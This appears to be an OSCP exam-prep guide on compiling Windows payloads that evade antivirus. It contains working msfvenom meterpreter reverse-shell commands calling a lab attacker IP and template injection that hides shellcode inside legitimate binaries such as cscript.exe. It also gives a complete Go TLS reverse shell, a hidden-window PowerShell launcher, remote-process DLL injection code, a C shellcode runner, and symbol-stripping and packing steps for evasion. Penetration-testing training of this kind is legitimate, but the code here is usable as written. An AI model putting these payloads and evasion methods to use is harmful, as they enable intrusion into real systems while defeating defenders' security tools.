Domain 3Exploit Dev & AV EvasionCORE

Compilation Techniques

Guide to compilation techniques for AV evasion including msfvenom template injection, MinGW cross-compilation, Go cross-compilation, custom packers, and compiler comparison for generating evasive binaries.

Domain: Domain 3: Exploit Mechanics & AV Evasion•Updated: 2026-09-01
#compilation#mingw#golang#upx#template-injection

Compilation Techniques

Overview

Compilation is the bridge between raw shellcode and a functional executable. The compiler you choose — and how you configure it — directly impacts AV detection rates. This chapter covers the full spectrum: from msfvenom’s built-in template injection to Go cross-compilation with stripped metadata.


1. msfvenom Direct Executable Generation

The simplest path — msfvenom generates the PE file for you.

# Basic Windows reverse shell executable
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 -f exe -o payload.exe

# Using a less common payload to reduce signature matching
msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.3 LPORT=443 -f exe -o payload.exe

# Using x86 payload with a stager
msfvenom -p windows/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=443 -f exe -o payload.exe

Detection risk: HIGH — Direct msfvenom executables carry well-known signatures. Use only for testing, not for production evasion.


2. Template Injection (-x and -k)

Template injection is one of the most practical msfvenom evasion techniques. It embeds your shellcode into a legitimate-looking binary.

# Inject payload into a clean executable
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
  -x /usr/share/windows-binaries/cscript.exe -k -f exe -o legit.exe

# Using a custom clean binary as template
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
  -x clean_binary.exe -k -f exe -o infected.exe

What -k Does

The -k flag preserves the original binary’s functionality. Without it, the original entry point is overwritten and the template binary no longer runs normally — making the disguise obvious.

How Template Injection Works Internally

Template injection modifies the PE (Portable Executable) structure at three key levels:

① Entry Point Hijacking

  • The PE header’s AddressOfEntryPoint (in the Optional Header) is changed to point to your injected shellcode instead of the original code section.
  • When the OS loader runs the binary, execution begins at your shellcode first.

② Shellcode Placement

  • Your shellcode is written into an existing section (usually .text or .data) or into a newly created section (.msfvenom or similar).
  • If an existing section has enough space, msfvenom appends the shellcode at the end of that section’s raw data.

③ Original Entry Point Preservation (with -k)

  • msfvenom prepends a small “trampoline” stub before your shellcode.
  • This stub: (a) executes your payload, then (b) transfers control to the original entry point so the legitimate binary continues running.
  • The trampoline uses a call or jmp instruction to the original OEP (Original Entry Point).
┌─────────────────────────────────────────────┐
│ PE Header                                    │
│  ├─ AddressOfEntryPoint → New Entry Point   │
│  └─ Sections: .text, .rdata, .data, .rsrc   │
├─────────────────────────────────────────────┤
│ .text section                                │
│  ├─ [0x0000] Trampoline stub (with -k)      │
│  ├─ [0x0010] Your shellcode                  │
│  └─ [0xXXXX] Original binary code (unchanged)│
└─────────────────────────────────────────────┘

Where to Get Clean Templates

# Pre-installed clean binaries on Kali
ls /usr/share/windows-binaries/

# Common choices:
# cscript.exe, wscript.exe, regsvr32.exe, rundll32.exe
# Notepad.exe, mspaint.exe, calc.exe

# Better: collect clean binaries from your own Windows VM
# This ensures the template matches what the target environment expects

3. MinGW Cross-Compilation

MinGW (Minimalist GNU for Windows) lets you compile C/C++ Windows executables on Linux.

Setup on Kali

# Install MinGW-w64
sudo apt install -y gcc-mingw-w64 g++-mingw-w64

# Verify installation
x86_64-w64-mingw32-gcc --version
i686-w64-mingw32-gcc --version

Basic Compilation

# Compile a C source file to a 64-bit Windows executable
x86_64-w64-mingw32-gcc -o payload.exe payload.c

# Compile a 32-bit Windows executable
i686-w64-mingw32-gcc -o payload.exe payload.c

Linking Libraries

# Link against Windows API libraries
x86_64-w64-mingw32-gcc -o payload.exe payload.c -lws2_32 -lwininet -ladvapi32

# Common Windows libraries:
# -lws2_32     → Winsock (networking)
# -lwininet    → WinINet (HTTP)
# -ladvapi32   → Advanced Windows API (registry, crypto)
# -luser32     → User interface
# -lkernel32   → Core Windows API (auto-linked by MinGW)
# -lshell32    → Shell operations
# -lpsapi      → Process status API

Static vs Dynamic Linking

# Dynamic linking (default) — smaller binary, depends on target DLLs
x86_64-w64-mingw32-gcc -o payload.exe payload.c

# Static linking — larger binary, self-contained, no external DLL dependencies
x86_64-w64-mingw32-gcc -static -o payload.exe payload.c -lws2_32

# Static linking pros:
#   + Works on minimal Windows installations
#   + No missing DLL errors
#   + Harder for AV to correlate with known imports
# Static linking cons:
#   + Larger file size (easier to flag)
#   + May trigger "statically linked" heuristics

Stripping and Optimization

# Strip debug symbols and reduce binary size
x86_64-w64-mingw32-gcc -Os -s -o payload.exe payload.c

# -Os  → Optimize for size (not speed)
# -s   → Strip all symbol information
# -ffunction-sections -Wl,--gc-sections → Remove unused functions
x86_64-w64-mingw32-gcc -Os -s -ffunction-sections -Wl,--gc-sections -o payload.exe payload.c

4. Go Cross-Compilation

Go is exceptionally powerful for AV evasion because:

  • It produces statically linked binaries by default
  • No external runtime dependencies
  • Easy cross-compilation with environment variables
  • Large, legitimate Go binaries are common (Docker, Kubernetes, Terraform)

Setup on Kali

# Install Go
sudo apt install -y golang-go

# Verify
go version

Cross-Compilation Commands

# Compile for Windows 64-bit
GOOS=windows GOARCH=amd64 go build -o payload.exe payload.go

# Compile for Windows 32-bit
GOOS=windows GOARCH=386 go build -o payload.exe payload.go

# Compile for macOS
GOOS=darwin GOARCH=amd64 go build -o payload app.go

# Compile for Linux ARM (e.g., Raspberry Pi)
GOOS=linux GOARCH=arm go build -o payload app.go

Stripping with ldflags

# Strip debug info, DWARF symbols, and build IDs
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o payload.exe payload.go

# -s  → Strip symbol table and debug information
# -w  → Strip DWARF debugging information
# Combined effect: smaller binary, no Go module metadata

# Additional ldflags for deeper stripping
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w -extldflags=-static" -o payload.exe payload.go

Go Payload Example: Reverse Shell

package main

import (
    "crypto/tls"
    "net"
    "os"
    "os/exec"
)

func main() {
    // TLS connection to evade basic network inspection
    conn, err := tls.Dial("tcp", "10.10.14.3:443", &tls.Config{InsecureSkipVerify: true})
    if err != nil {
        return
    }
    defer conn.Close()

    cmd := exec.Command("cmd.exe")
    cmd.Stdin = conn
    cmd.Stdout = conn
    cmd.Stderr = conn

    cmd.Start()
    cmd.Wait()
}

Go Payload Example: PowerShell Launcher

package main

import (
    "os/exec"
    "syscall"
)

func main() {
    // Base64-encoded PowerShell payload (decode + invoke at runtime)
    b64 := "JABDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBuAGUAdAAuAFQAbABzAC4A...  (truncated)"

    // Create hidden window
    cmd := exec.Command("powershell.exe", "-encodedcommand", b64)
    cmd.SysProcAttr = &syscall.SysProcAttr{
        CreationFlags: 0x08000000, // CREATE_NO_WINDOW
    }

    cmd.Run()
}

Go Payload Example: Reflective DLL Injection

package main

/*
#cgo LDFLAGS: -lkernel32 -ladvapi32 -lntdll
#include <windows.h>
#include <stdlib.h>

int inject_dll(int pid, char *dll_path) {
    HANDLE proc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!proc) return -1;

    LPVOID remote = VirtualAllocEx(proc, NULL, strlen(dll_path)+1,
        MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    WriteProcessMemory(proc, remote, dll_path, strlen(dll_path)+1, NULL);

    HMODULE kernel = GetModuleHandleA("kernel32.dll");
    FARPROC loadlib = GetProcAddress(kernel, "LoadLibraryA");

    HANDLE thread = CreateRemoteThread(proc, NULL, 0,
        (LPTHREAD_START_ROUTINE)loadlib, remote, 0, NULL);
    WaitForSingleObject(thread, INFINITE);

    VirtualFreeEx(proc, remote, 0, MEM_RELEASE);
    CloseHandle(thread);
    CloseHandle(proc);
    return 0;
}
*/
import "C"
import "unsafe"

func main() {
    pid := 1234  // Target process ID
    dll := C.CString("C:\\Users\\target\\malicious.dll")
    defer C.free(unsafe.Pointer(dll))
    C.inject_dll(C.int(pid), dll)
}

5. Compiler Comparison for AV Evasion

Compiler Evasion Ease Binary Size Static Link Best For
msfvenom Low ★★★★★ Small No Quick tests, template injection
MinGW Medium ★★★☆☆ Medium Yes C/C++ payloads, API calls
Go High ★★★★☆ Large Yes (default) Self-contained, no deps
Visual Studio Medium ★★☆☆☆ Medium Yes Complex Windows apps
Cobalt Strike High ★★★★☆ Medium N/A C2 infrastructure, beacons
Rust High ★★☆☆☆ Large Yes Advanced evasion projects

Key Takeaways

  • msfvenom: Fastest to generate, highest detection. Use template injection (-x) to improve.
  • MinGW: Good middle ground. Compile your own C source with Windows API calls. Strip symbols.
  • Go: Best for self-contained payloads. Large binary size is actually an advantage — blends in with legitimate Go tools.
  • Cobalt Strike: Industry standard for red teams. Generates highly evasive beacons but requires a license.
  • Rust: Growing in popularity. Memory-safe, great FFI with Windows APIs, but steeper learning curve.

6. Packing Techniques

Packing compresses and/or encrypts a binary’s code sections, then unpacks them at runtime.

UPX (Ultimate Packer for eXecutables)

# Install UPX
sudo apt install -y upx

# Compress a binary
upx --best payload.exe

# Decompress
upx -d payload.exe

# Common options
upx --ultra-brute payload.exe    # Maximum compression
upx --overlay=copy payload.exe   # Preserve overlays

Why UPX Is Heavily Detected

  1. Signature-based: UPX-packed binaries have recognizable stub patterns at the entry point.
  2. Behavioral indicators: The unpacking routine follows a predictable pattern — decompress to memory, transfer execution.
  3. YARA rules: Hundreds of YARA rules specifically match UPX stubs.
  4. EDR awareness: Modern EDRs detect the UPX unpacking behavior in real-time.
  5. Community flagging: Every AV vendor has flagged UPX since ~2005. It’s a known indicator.

Bottom line: UPX provides zero meaningful evasion against modern AV/EDR. It may bypass very old or basic scanners, but don’t rely on it.

Alternative Packers

Packer Status Notes
ASPack Abandoned Still detected by modern AV
PECompact Abandoned Signature-based detection
Themida Commercial Strong protection, expensive
VMProtect Commercial Virtualization-based, high evasion
Custom packer DIY Best evasion, requires development

Building a Custom Packer (Conceptual)

// Simplified custom packer concept
// 1. Read the original binary
// 2. Encrypt/compress the code sections
// 3. Prepend a small decryption stub
// 4. Set entry point to the stub

// At runtime:
// 1. Stub decrypts the original code into memory
// 2. Transfers execution to the decrypted code
// 3. Original binary never touches disk in decrypted form

// Key evasion improvements over UPX:
// - Unique encryption algorithm (no known signature)
// - Custom compression (no recognizable patterns)
// - Anti-debugging checks in the stub
// - Section name randomization
// - Timestamp manipulation

7. Stripping Debug Symbols and Metadata

Metadata in compiled binaries provides AV with fingerprinting data. Remove it.

For MinGW

# Strip all symbols
x86_64-w64-mingw32-strip payload.exe

# Or compile with stripping built-in
x86_64-w64-mingw32-gcc -s -Os -o payload.exe payload.c

For Go

# Strip via ldflags
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o payload.exe payload.go

# Verify with go tool
go tool objdump -all payload.exe | head -20

For Visual Studio

Project Properties → C/C++ → General → Debug Information Format → None
Project Properties → Linker → Debugging → Generate Debug Info → No

What Gets Stripped

Item Impact on Detection
Symbol table Removes function names AV can match
DWARF/PDB info Removes source file paths and line numbers
Build ID Removes unique compiler fingerprint
Comments Removes developer identifiers
Go module info Removes import paths and version strings

8. Practical OSCP Compilation Workflow

Step-by-Step Process

Step 1: Generate shellcode
  └─ msfvenom -p windows/x64/meterpreter/reverse_tcp \
       LHOST=10.10.14.3 LPORT=443 -f c -o shellcode.c

Step 2: Write C wrapper (or Go launcher)
  └─ Write payload.c that allocates RWX memory,
     copies shellcode, and executes via CreateThread

Step 3: Compile with evasion flags
  └─ x86_64-w64-mingw32-gcc -Os -s -ffunction-sections \
       -Wl,--gc-sections -o payload.exe payload.c

Step 4: (Optional) Template injection
  └─ msfvenom -p windows/x64/meterpreter/reverse_tcp \
       LHOST=10.10.14.3 LPORT=443 -x clean.exe -k -f exe -o final.exe

Step 5: Verify and test
  └─ file payload.exe
  └─ strings payload.exe | grep -i meterpreter  # Check for leaks
  └─ Test on Windows VM with AV enabled

Shellcode Wrapper Example (C + MinGW)

#include <windows.h>

unsigned char buf[] = {
    0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00,
    0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
    // ... (rest of shellcode from msfvenom -f c)
};

int main() {
    // Allocate RW memory, then promote to RX
    LPVOID addr = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    memcpy(addr, buf, sizeof(buf));

    // Change permissions to execute
    DWORD oldProtect;
    VirtualProtect(addr, sizeof(buf), PAGE_EXECUTE_READ, &oldProtect);

    // Execute via thread
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);

    // Keep process alive
    Sleep(INFINITE);
    return 0;
}

Checklist Before Submission

  • Binary compiles cleanly on Kali (MinGW or Go)
  • Debug symbols stripped (-s flag or strip)
  • No hardcoded IPs/ports visible in strings output
  • Tested on Windows VM with Defender enabled
  • Listener configured on attack machine
  • Have a backup payload method ready (template injection, direct msfvenom)
  • Documented the compilation command for reproducibility

Quick Reference Card

# ── msfvenom template injection ──
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=443 \
  -x /usr/share/windows-binaries/cscript.exe -k -f exe -o out.exe

# ── MinGW compile + strip ──
x86_64-w64-mingw32-gcc -Os -s -o payload.exe payload.c

# ── Go cross-compile + strip ──
GOOS=windows GOARCH=amd64 go build -ldflags="-s -w" -o payload.exe payload.go

# ── Check binary ──
file payload.exe
strings payload.exe | grep -iE "meterpreter|reverse|shell"

Exam Tips

  1. Template injection is your fastest win — -x with -k is easy to remember and often beats direct msfvenom output.
  2. Go is your best compiler for custom payloads — statically linked, no dependencies, and large binaries blend in.
  3. Don’t waste time with UPX — it’s detected everywhere. Focus on compilation techniques instead.
  4. Always test on a Windows VM first — what works on Kali doesn’t always work on Windows with Defender.
  5. Have multiple payloads ready — if one gets flagged, pivot to a different compilation method immediately.
  6. Remember the -k flag — without it, template injection breaks the original binary’s functionality, making detection obvious.